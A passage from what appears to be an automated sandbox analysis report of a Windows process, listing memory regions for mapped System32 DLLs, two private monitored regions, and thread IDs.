"\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1908 start_va = 0x7ffb24610000 end_va = 0x7ffb24640fff monitored = 0 entry_point = 0x7ffb24617d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1909 start_va = 0x7ffb24880000 end_va = 0x7ffb2489efff monitored = 0 entry_point = 0x7ffb24885d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1910 start_va = 0x7ffb249f0000 end_va = 0x7ffb24a4bfff monitored = 0 entry_point = 0x7ffb24a06f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1911 start_va = 0x7ffb24bc0000 end_va = 0x7ffb24bcafff monitored = 0 entry_point = 0x7ffb24bc19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1912 start_va = 0x7ffb24da0000 end_va = 0x7ffb24dccfff monitored = 0 entry_point = 0x7ffb24db9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1913 start_va = 0x7ffb24f30000 end_va = 0x7ffb24f85fff monitored = 0 entry_point = 0x7ffb24f40bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1914 start_va = 0x7ffb24fb0000 end_va = 0x7ffb24fd8fff monitored = 0 entry_point = 0x7ffb24fc4530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1915 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1916 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1917 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1918 start_va = 0x7ffb251a0000 end_va = 0x7ffb251affff monitored = 0 entry_point = 0x7ffb251a56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1919 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1920 start_va = 0x7ffb253c0000 end_va = 0x7ffb25586fff monitored = 0 entry_point = 0x7ffb2541db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1921 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1922 start_va = 0x7ffb25770000 end_va = 0x7ffb257f5fff monitored = 0 entry_point = 0x7ffb2577d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1923 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1924 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1925 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1926 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1927 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1928 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1929 start_va = 0x7ffb266b0000 end_va = 0x7ffb26756fff monitored = 0 entry_point = 0x7ffb266bb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1930 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1931 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1932 start_va = 0x7ffb281e0000 end_va = 0x7ffb28322fff monitored = 0 entry_point = 0x7ffb28208210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1933 start_va = 0x7ffb28450000 end_va = 0x7ffb284bafff monitored = 0 entry_point = 0x7ffb284690c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1934 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1935 start_va = 0x7ffb28a40000 end_va = 0x7ffb28a47fff monitored = 0 entry_point = 0x7ffb28a41ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1936 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1937 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1938 start_va = 0x5d0000 end_va = 0x5d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aeevts.dll" filename = "\\Windows\\System32\\aeevts.dll" (normalized: "c:\\windows\\system32\\aeevts.dll") Region: id = 1943 start_va = 0xfe0000 end_va = 0x10b9fff monitored = 0 entry_point = 0x1013c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 1944 start_va = 0x3600000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 1945 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Thread: id = 126 os_tid = 0x40c Thread: id = 127 os_tid = 0xcd8 Thread: id = 128 os_tid = 0xbbc Thread: id = 129 os_tid = 0x9ac Thread: id = 130 os_tid = 0xb20 Thread: id = 131 os_tid = 0xc20 Thread: id = 132 os_tid = 0xf1c Thread: id = 133 os_tid = 0xea0 Thread: id = 134 os_tid = 0xddc Thread: id = 135 os_tid = 0x8fc Thread: id = 136 os_tid = 0x4a0 Thread: id = 137 os_tid = 0x490 Thread: id = 138 os_tid = 0x45c Thread: id = 139 os_tid = 0x438 Thread: id = 140 os_tid = 0x428 Thread: id = 141 os_tid = 0x420 Thread: id = 142 os_tid = 0x268 Thread: id = 143 os_tid = 0x194 Thread: id = 144 os_tid = 0x190 Thread: id = 145 os_tid = 0x18c Thread: id = 146 os_tid = 0x3f4 Thread: id = 147 os_tid = 0x380